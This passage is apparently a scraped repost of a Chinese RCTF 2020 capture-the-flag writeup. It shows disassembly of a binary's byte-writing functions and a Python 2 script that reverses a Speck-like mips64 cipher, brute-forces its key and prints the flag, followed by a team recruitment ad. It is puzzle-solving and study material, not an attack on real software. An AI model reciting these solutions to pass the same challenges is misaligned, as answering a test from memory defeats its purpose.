.text:00000000004BB29D main_main_func446 mov [rsi+rcx], dl
.text:00000000004C02BD main_main_func542 mov [rsi+rcx], dl
.text:00000000004C53BD main_main_func639 mov [rsi+rcx], dl
.text:00000000004CA2FD main_main_func734 mov [rsi+rcx], dl
.text:00000000004CF85D main_main_func836 mov [rsi+rcx], dl
.text:00000000004D4BFD main_main_func936 mov [rsi+rcx], dl
.text:00000000004D9F9D main_main_func1036 mov [rsi+rcx], dl
.text:00000000004DF4FD main_main_func1138 mov [rsi+rcx], dl
.text:00000000004E47BD main_main_func1237 mov [rsi+rcx], dl
.text:00000000004E9D1D main_main_func1339 mov [rsi+rcx], dl
.text:00000000004EEC5D main_main_func1434 mov [rsi+rcx], dl
.text:00000000004F3FFD main_main_func1534 mov [rsi+rcx], dl
.text:00000000004F92BD main_main_func1633 mov [rsi+rcx], dl
.text:00000000004FE81D main_main_func1735 mov [rsi+rcx], dl
.text:0000000000503BBD main_main_func1835 mov [rsi+rcx], dl
.text:00000000005091FD main_main_func1938 mov [rsi+rcx], dl
.text:000000000050E75D main_main_func2040 mov [rsi+rcx], dl
.text:0000000000513AFD main_main_func2140 mov [rsi+rcx], dl
.text:000000000051905D main_main_func2242 mov [rsi+rcx], dl
.text:000000000051E5BD main_main_func2344 mov [rsi+rcx], dl
.text:0000000000523B1D main_main_func2446 mov [rsi+rcx], dl
.text:0000000000528DDD main_main_func2545 mov [rsi+rcx], dl
.text:000000000052DFBD main_main_func2643 mov [rsi+rcx], dl
.text:00000000005336DD main_main_func2747 mov [rsi+rcx], dl
下接腳本下斷,記錄dl值即可。
cipher
解題思路
題目 提供數(shù)據(jù)
0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2, 0x0A
是一道m(xù)ips64的題目,考慮ida7.5才支持mips反編譯,所以只能上ghidra了。
main函數(shù)
cipher是關(guān)鍵函數(shù)
嵌套一個(gè)encrypt
嘗試angr爆破,由于大小端原因沒(méi)爆破出來(lái),正在嘗試逆向腳本。
def ror(v,n):
return ((v >> n) | (v << (64-n)))&0xffffffffffffffff
def encrypt(a,b,c,d ):
b = (ror(b,8) + a ^ c)&0xffffffffffffffff
a = ror(a,61) ^ b
for i in range(0x1f):
d = (ror(d,8) + c ^ i)&0xffffffffffffffff
c = ror(c,61) ^ d
b = (ror(b,8) + a ^ c)&0xffffffffffffffff
a = ror(a,61) ^ b
return a,b
def decrypt(a,b,c,d):
key = [d,c]
for i in range(0x1f):
key.append((ror(key[2*i],8) + key[2*i+1] ^ i)&0xffffffffffffffff )
key.append(ror(key[2*i+1],61) ^ key[2*i+2])
for i in range(0x1f,-1,-1):
a = ror(a^b,3)
b = ror(((b^key[2*i+1])-a)&0xffffffffffffffff,56)
return a,b
def crack():
check = [0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2]
check = struct.unpack('>'+'Q'*6,''.join(map(chr,check)))
for i in range(0x10000):
c = i
d = 0
c,d = struct.unpack('QQ',struct.pack('>QQ',c,d))
r1,r2 = decrypt(check[0],check[1],c,d)
tmp1 = struct.pack('>Q',r1)
# tmp2 = struct.pack('>Q',r2)
if 'RCTF{' in tmp1:
print i,tmp1
break
def de_flag():
check = [0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2]
check = struct.unpack('>'+'Q'*6,''.join(map(chr,check)))
flag = ''
for i in range(len(check)/2):
c,d = struct.unpack('QQ',struct.pack('>QQ',4980,0))
r1,r2 = decrypt(check[2*i],check[2*i+1],c,d)
flag += struct.pack('>Q',r1)
flag += struct.pack('>Q',r2)
print flag
def main():
crack()
de_flag()
end
招新小廣告
ChaMd5 ctf組 長(zhǎng)期招新
尤其是crypto+reverse+pwn+合約的大佬
歡迎聯(lián)系admin@chamd5.org
總結(jié)
以上是生活随笔為你收集整理的mysql %3cforeach_RCTF 2020 Writeup的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 梦幻西游五虎将访谈系列:主策划小白
- 下一篇: 西威变频器avo下载调试资料_图解变频器